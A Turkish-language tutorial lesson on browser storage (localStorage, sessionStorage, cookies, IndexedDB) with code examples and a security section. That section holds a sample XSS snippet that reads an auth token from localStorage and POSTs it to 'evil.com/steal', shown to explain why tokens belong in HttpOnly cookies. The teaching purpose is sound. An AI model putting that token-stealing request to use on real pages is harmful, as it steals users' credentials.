← Kursa Dön
📄 Text · 30 min

Storage API'leri

Tarayıcının Hafızası

Bir alışveriş merkezine gittiğini düşün. Sepetine ürün koyuyorsun, mağazalar arasında geziyorsun, belki yarın tekrar geleceksin. Peki sepetindeki ürünler nerede saklanıyor? Mağaza kapandığında yok mu oluyor? İnternette de durum aynı: kullanıcı bir web sitesinde form dolduruyor, tema seçiyor, sepete ürün ekliyor — bu bilgileri bir yerde saklamak gerekiyor.

İşte tarayıcının Storage API'leri bu "saklama" işini yapar. Ama tek bir çözüm yok — farklı ihtiyaçlar için farklı araçlar var. Bu ders, dört ana depolama mekanizmasını derinlemesine inceleyecek: localStorage, sessionStorage, IndexedDB ve cookies. Her birinin ne zaman, neden, nasıl kullanılacağını öğreneceksin.


localStorage: Kalıcı Basit Depo

localStorage, tarayıcıda key-value çiftleri saklayan en basit API. Kapıyı kapatsan, tarayıcıyı kapatsan, bilgisayarı yeniden başlatsan bile veri kaybolmaz. Kullanıcı silmediği sürece veya sen silmediğin sürece orada kalır.

Bir defter gibi düşün — yazıyorsun, kapatıyorsun, yarın açtığında yazılar hâlâ orada.

// Veri kaydet
localStorage.setItem("theme", "dark");
localStorage.setItem("language", "tr");
localStorage.setItem("fontSize", "16");

// Veri oku
const theme = localStorage.getItem("theme");     // "dark"
const lang = localStorage.getItem("language");    // "tr"
const missing = localStorage.getItem("unknown");  // null (yoksa null döner)

// Veri sil
localStorage.removeItem("fontSize");

// Tüm verileri temizle
localStorage.clear();

// Kaç adet key var?
console.log(localStorage.length); // 2 (theme ve language)

// Key'lere index ile eriş
console.log(localStorage.key(0)); // "theme" (sıra garanti değil)

Nesne ve Dizi Saklama

localStorage sadece string saklar. Nesne veya dizi saklarken JSON.stringify/parse kullanman gerekir:

// ❌ Yanlış: nesneyi doğrudan saklama
const user = { name: "Ali", age: 25 };
localStorage.setItem("user", user);
console.log(localStorage.getItem("user")); // "[object Object]" 😱

// ✅ Doğru: JSON dönüşümü
localStorage.setItem("user", JSON.stringify(user));
const saved = JSON.parse(localStorage.getItem("user"));
console.log(saved.name); // "Ali" ✅

// Dizi için de aynı
const cart = [
  { id: 1, name: "Laptop", qty: 1 },
  { id: 2, name: "Mouse", qty: 2 },
];
localStorage.setItem("cart", JSON.stringify(cart));
const savedCart = JSON.parse(localStorage.getItem("cart"));

Güvenli localStorage Wrapper

Tekrar eden JSON dönüşümü ve hata yönetimini bir wrapper ile çöz:

class Storage {
  static get<T>(key: string, defaultValue: T): T {
    try {
      const item = localStorage.getItem(key);
      if (item === null) return defaultValue;
      return JSON.parse(item) as T;
    } catch {
      // JSON parse hatası — bozuk veri
      console.warn(`Storage: "${key}" okunamadı, varsayılan kullanılıyor`);
      return defaultValue;
    }
  }

  static set<T>(key: string, value: T): boolean {
    try {
      localStorage.setItem(key, JSON.stringify(value));
      return true;
    } catch (error) {
      // Depolama kotası aşıldı (genelde ~5MB)
      if (error instanceof DOMException && error.name === "QuotaExceededError") {
        console.error("Storage: Depolama alanı dolu!");
      }
      return false;
    }
  }

  static remove(key: string): void {
    localStorage.removeItem(key);
  }

  static clear(): void {
    localStorage.clear();
  }
}

// Kullanım — temiz ve güvenli
const theme = Storage.get("theme", "light");
Storage.set("user", { name: "Ali", preferences: { lang: "tr" } });
const user = Storage.get("user", null);

⚠️ Dikkat: localStorage'ın kapasitesi genelde 5MB (tarayıcıya göre değişir). Bu sınırı aşarsan QuotaExceededError alırsın. Büyük veriler için IndexedDB kullan.


sessionStorage: Geçici Oturum Deposu

sessionStorage, localStorage ile aynı API'ye sahip ama kritik bir fark var: veriler sekme (tab) kapatıldığında silinir. Aynı sekmedeki sayfa yenilemelerinde kalır, ama yeni sekme açıldığında sıfırdan başlar.

Otel odası gibi düşün: odadayken eşyaların duruyor, ama çıkış yaptığında oda temizleniyor.

// API tamamen aynı
sessionStorage.setItem("currentStep", "3");
sessionStorage.setItem("formDraft", JSON.stringify({
  name: "Ali",
  email: "ali@test.com",
  // Kullanıcı formu yarıda bıraktı — sekmede kaldığı sürece devam edebilir
}));

const step = sessionStorage.getItem("currentStep"); // "3"

// Sekme kapatıldığında → tüm veriler siliniyor
// Yeni sekmede → boş başlıyor

localStorage vs sessionStorage

ÖzelliklocalStoragesessionStorage
ÖmürKalıcı (manuel silinene kadar)Sekme ömrü
KapsamAynı origin'deki tüm sekmelerSadece o sekme
Kapasite~5MB~5MB
KullanımTema, dil, kullanıcı tercihleriForm taslakları, wizard step'leri

Ne Zaman Hangisi?

// ✅ localStorage kullan: Kalıcı tercihler
localStorage.setItem("theme", "dark");           // Kalıcı
localStorage.setItem("recentSearches", "...");   // Kalıcı

// ✅ sessionStorage kullan: Geçici oturum verisi
sessionStorage.setItem("formStep", "2");         // Sekme kapatılınca silinsin
sessionStorage.setItem("scrollPosition", "450"); // Bu sayfa için geçici

// ❌ Hiçbirini kullanma: Hassas veriler (şifre, token)
// localStorage.setItem("password", "123456");   // ASLA! 🚫

Cookies: Sunucu ile İletişim

Cookie'ler web'in en eski depolama mekanizması — 1994'ten beri var. localStorage'dan temel farkı: cookie'ler her HTTP isteğiyle birlikte sunucuya gönderilir. Bu özellik onları kimlik doğrulama (authentication) ve oturum yönetimi için ideal yapar, ama aynı zamanda performans ve güvenlik dikkatini de gerektirir.

Bir yüzük gibi düşün: parmağına takıyorsun, her yere seninle geliyor — her kapıyı açtığında güvenlik görevlisi yüzüğünü kontrol ediyor.

// Temel cookie — oturum cookie'si (tarayıcı kapanınca silinir)
document.cookie = "username=Ali";

// Bitiş tarihi olan cookie
document.cookie = "theme=dark; expires=Fri, 31 Dec 2025 23:59:59 GMT";

// Max-age ile (saniye cinsinden)
document.cookie = "language=tr; max-age=2592000"; // 30 gün

// Path ve domain belirleyerek
document.cookie = "token=abc123; path=/; domain=.example.com; Secure; SameSite=Strict";
// Cookie okuma — tek string olarak gelir, parse etmen gerekir
console.log(document.cookie); // "username=Ali; theme=dark; language=tr"

// Yardımcı fonksiyon
function getCookie(name) {
  const cookies = document.cookie.split("; ");
  for (const cookie of cookies) {
    const [key, value] = cookie.split("=");
    if (key === name) return decodeURIComponent(value);
  }
  return null;
}

console.log(getCookie("theme")); // "dark"

// Cookie silme — geçmiş tarih vererek
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
// Güvenli cookie — sadece HTTPS üzerinden
document.cookie = "session=xyz; Secure";

// HttpOnly — JavaScript erişemez (sadece sunucu tarafı)
// Bu flag client-side'da SET EDİLEMEZ — sunucu tarafında ayarlanır
// Set-Cookie: session=xyz; HttpOnly; Secure

// SameSite — CSRF koruması
document.cookie = "token=abc; SameSite=Strict"; // Sadece aynı site'dan istekler
document.cookie = "token=abc; SameSite=Lax";    // Üst seviye navigasyonlar OK
document.cookie = "token=abc; SameSite=None; Secure"; // Cross-site (zorunlu Secure)

⚠️ Dikkat: Authentication token'ları için HttpOnly + Secure + SameSite=Strict cookie kullan. localStorage'da token saklamak XSS saldırılarına açıktır — kötü niyetli bir script tüm localStorage'ı okuyabilir. HttpOnly cookie'ye JavaScript erişemez.

  • Boyut: Tek cookie ~4KB

  • Sayı: Domain başına ~50 cookie

  • Performans: Her HTTP isteğiyle gönderilir — büyük cookie'ler bant genişliğini yer

  • API: document.cookie düz string — modern API yok


IndexedDB: Tarayıcının Veritabanı

localStorage basit key-value depolama sunar ama karmaşık veriler, büyük veri setleri, arama ve filtreleme için yetersiz kalır. İşte IndexedDB: tarayıcıda çalışan, tam teşekküllü bir NoSQL veritabanı.

Bir dosya dolabı düşün: localStorage post-it notları için, IndexedDB ise dosya dolabı — klasörler, indeksler, arama yapabilirsin.

IndexedDB Temelleri

// Veritabanı açma (yoksa oluşturur)
const request = indexedDB.open("MyAppDB", 1);

// İlk kez oluşturulduğunda veya versiyon yükseldiğinde
request.onupgradeneeded = (event) => {
  const db = event.target.result;

  // Object store oluştur (SQL'deki tablo gibi)
  if (!db.objectStoreNames.contains("users")) {
    const store = db.createObjectStore("users", {
      keyPath: "id",          // Primary key
      autoIncrement: true,    // Otomatik ID
    });

    // İndeks oluştur (hızlı arama için)
    store.createIndex("email", "email", { unique: true });
    store.createIndex("age", "age", { unique: false });
  }
};

request.onsuccess = (event) => {
  const db = event.target.result;
  console.log("Veritabanı açıldı:", db.name);
};

request.onerror = (event) => {
  console.error("Veritabanı hatası:", event.target.error);
};

CRUD İşlemleri

// Veri ekleme
function addUser(db, user) {
  const tx = db.transaction("users", "readwrite");
  const store = tx.objectStore("users");

  const request = store.add(user);

  request.onsuccess = () => {
    console.log("Kullanıcı eklendi, ID:", request.result);
  };

  request.onerror = () => {
    console.error("Ekleme hatası:", request.error);
  };
}

// Veri okuma
function getUser(db, id) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction("users", "readonly");
    const store = tx.objectStore("users");
    const request = store.get(id);

    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

// Tüm verileri listeleme
function getAllUsers(db) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction("users", "readonly");
    const store = tx.objectStore("users");
    const request = store.getAll();

    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

// Güncelleme
function updateUser(db, user) {
  const tx = db.transaction("users", "readwrite");
  const store = tx.objectStore("users");
  store.put(user); // put = varsa güncelle, yoksa ekle
}

// Silme
function deleteUser(db, id) {
  const tx = db.transaction("users", "readwrite");
  const store = tx.objectStore("users");
  store.delete(id);
}

İndeks ile Arama

// Email ile kullanıcı bul
function findByEmail(db, email) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction("users", "readonly");
    const store = tx.objectStore("users");
    const index = store.index("email");
    const request = index.get(email);

    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

// Yaş aralığına göre filtrele (cursor ile)
function findByAgeRange(db, minAge, maxAge) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction("users", "readonly");
    const store = tx.objectStore("users");
    const index = store.index("age");
    const range = IDBKeyRange.bound(minAge, maxAge);
    const results = [];

    const request = index.openCursor(range);

    request.onsuccess = (event) => {
      const cursor = event.target.result;
      if (cursor) {
        results.push(cursor.value);
        cursor.continue(); // Sonraki kayda geç
      } else {
        resolve(results); // Tüm sonuçlar toplandı
      }
    };

    request.onerror = () => reject(request.error);
  });
}

Promise Tabanlı Wrapper

IndexedDB'nin callback tabanlı API'si ağır. Modern projeler genellikle idb kütüphanesini kullanır:

npm install idb
import { openDB, DBSchema } from "idb";

// Veritabanı şemasını TypeScript ile tanımla
interface MyDB extends DBSchema {
  users: {
    key: number;
    value: {
      id: number;
      name: string;
      email: string;
      age: number;
    };
    indexes: {
      "by-email": string;
      "by-age": number;
    };
  };
  products: {
    key: number;
    value: {
      id: number;
      name: string;
      price: number;
    };
  };
}

// Veritabanı açma
const db = await openDB<MyDB>("MyAppDB", 1, {
  upgrade(db) {
    const userStore = db.createObjectStore("users", {
      keyPath: "id",
      autoIncrement: true,
    });
    userStore.createIndex("by-email", "email", { unique: true });
    userStore.createIndex("by-age", "age");

    db.createObjectStore("products", {
      keyPath: "id",
      autoIncrement: true,
    });
  },
});

// CRUD — temiz ve Promise tabanlı
await db.add("users", { name: "Ali", email: "ali@test.com", age: 25 });
const user = await db.get("users", 1);
const allUsers = await db.getAll("users");
const byEmail = await db.getFromIndex("users", "by-email", "ali@test.com");
await db.put("users", { id: 1, name: "Ali Yılmaz", email: "ali@test.com", age: 26 });
await db.delete("users", 1);

Güvenlik Değerlendirmesi

Tüm client-side storage mekanizmaları güvenlik riskleri taşır. Bunları bilmek ve doğru önlemleri almak kritik:

XSS ve Storage

// ❌ XSS saldırısı: Kötü niyetli script localStorage'ı okuyabilir
// Eğer sitende XSS açığı varsa, saldırgan şunu çalıştırabilir:
const stolenToken = localStorage.getItem("authToken");
fetch("https://evil.com/steal", {
  method: "POST",
  body: JSON.stringify({ token: stolenToken }),
});

// ✅ Çözüm: Hassas verileri localStorage'da SAKLAMA
// Authentication → HttpOnly cookie kullan
// Token → Server-side session kullan

Ne Nerede Saklanmalı?

┌─────────────────────────────────┬──────────────────────────────┐
│ Veri Tipi                       │ Önerilen Depolama            │
├─────────────────────────────────┼──────────────────────────────┤
│ Auth token (JWT)                │ HttpOnly Secure Cookie       │
│ CSRF token                      │ Meta tag + header            │
│ Kullanıcı tercihleri (tema)     │ localStorage                 │
│ Form taslağı                    │ sessionStorage               │
│ Offline veri cache              │ IndexedDB                    │
│ Büyük dosyalar (resim cache)    │ Cache API (Service Worker)   │
│ Hassas kişisel veri             │ Sunucu tarafı (veritabanı)   │
│ Oturum ID'si                    │ HttpOnly Secure Cookie       │
└─────────────────────────────────┴──────────────────────────────┘

Storage Event — Sekmeler Arası İletişim

// Bir sekmede değişiklik yapıldığında diğer sekmeler haberdar olur
window.addEventListener("storage", (event) => {
  console.log(`Key: ${event.key}`);
  console.log(`Eski değer: ${event.oldValue}`);
  console.log(`Yeni değer: ${event.newValue}`);
  console.log(`Kaynak URL: ${event.url}`);

  // Örnek: tema değişikliği tüm sekmelere yansısın
  if (event.key === "theme") {
    document.body.className = event.newValue;
  }
});

// Not: storage event sadece DİĞER sekmelerde tetiklenir,
// değişikliği yapan sekmede tetiklenmez!

Gerçek Dünya Örneği: Offline-First Uygulama

Tüm storage mekanizmalarını birleştiren bir senaryo:

class AppStorage {
  private db: IDBDatabase | null = null;

  async init() {
    // IndexedDB — ana veri deposu
    this.db = await this.openDatabase();

    // localStorage — kullanıcı tercihleri
    this.loadPreferences();

    // Sekmeler arası senkronizasyon
    window.addEventListener("storage", this.handleStorageChange.bind(this));
  }

  // Kullanıcı tercihlerini localStorage'da sakla
  private loadPreferences() {
    const defaults = { theme: "light", language: "tr", fontSize: 14 };
    const saved = localStorage.getItem("preferences");
    return saved ? { ...defaults, ...JSON.parse(saved) } : defaults;
  }

  savePreferences(prefs: Record<string, any>) {
    localStorage.setItem("preferences", JSON.stringify(prefs));
  }

  // Form verilerini sessionStorage'da sakla (geçici)
  saveFormDraft(formId: string, data: Record<string, any>) {
    sessionStorage.setItem(`draft_${formId}`, JSON.stringify(data));
  }

  getFormDraft(formId: string) {
    const draft = sessionStorage.getItem(`draft_${formId}`);
    return draft ? JSON.parse(draft) : null;
  }

  // Büyük verileri IndexedDB'de sakla (offline cache)
  async cacheApiResponse(endpoint: string, data: any) {
    if (!this.db) return;

    const tx = this.db.transaction("apiCache", "readwrite");
    const store = tx.objectStore("apiCache");
    await store.put({
      endpoint,
      data,
      cachedAt: Date.now(),
    });
  }

  async getCachedResponse(endpoint: string, maxAgeMs: number = 300000) {
    if (!this.db) return null;

    const tx = this.db.transaction("apiCache", "readonly");
    const store = tx.objectStore("apiCache");
    const cached = await new Promise<any>((resolve) => {
      const req = store.get(endpoint);
      req.onsuccess = () => resolve(req.result);
      req.onerror = () => resolve(null);
    });

    if (!cached) return null;

    // Cache süresi dolmuş mu?
    if (Date.now() - cached.cachedAt > maxAgeMs) {
      return null; // Süresi dolmuş
    }

    return cached.data;
  }

  private handleStorageChange(event: StorageEvent) {
    if (event.key === "preferences") {
      // Diğer sekmede tercihler değişti — UI'ı güncelle
      console.log("Tercihler güncellendi:", event.newValue);
    }
  }

  private openDatabase(): Promise<IDBDatabase> {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open("AppDB", 1);
      request.onupgradeneeded = (e) => {
        const db = (e.target as IDBOpenDBRequest).result;
        if (!db.objectStoreNames.contains("apiCache")) {
          db.createObjectStore("apiCache", { keyPath: "endpoint" });
        }
      };
      request.onsuccess = (e) => resolve((e.target as IDBOpenDBRequest).result);
      request.onerror = (e) => reject((e.target as IDBOpenDBRequest).error);
    });
  }
}

Özet

  • localStorage: Kalıcı, key-value, ~5MB, tüm sekmeler paylaşır. Kullanıcı tercihleri için ideal.

  • sessionStorage: Geçici (sekme ömrü), aynı API, sadece o sekmeye özel. Form taslakları, wizard state'leri.

  • Cookies: Her HTTP isteğiyle sunucuya gönderilir, ~4KB. Auth token'ları HttpOnly+Secure cookie'de sakla.

  • IndexedDB: Tam NoSQL veritabanı, MB/GB seviyesinde depolama, indeksleme ve cursor. Offline veri, büyük veri setleri.

  • Güvenlik: localStorage'da hassas veri saklama! XSS saldırılarına açık. Token → HttpOnly cookie, tercihler → localStorage, büyük veri → IndexedDB.

  • storage event'i ile sekmeler arası iletişim sağlanabilir.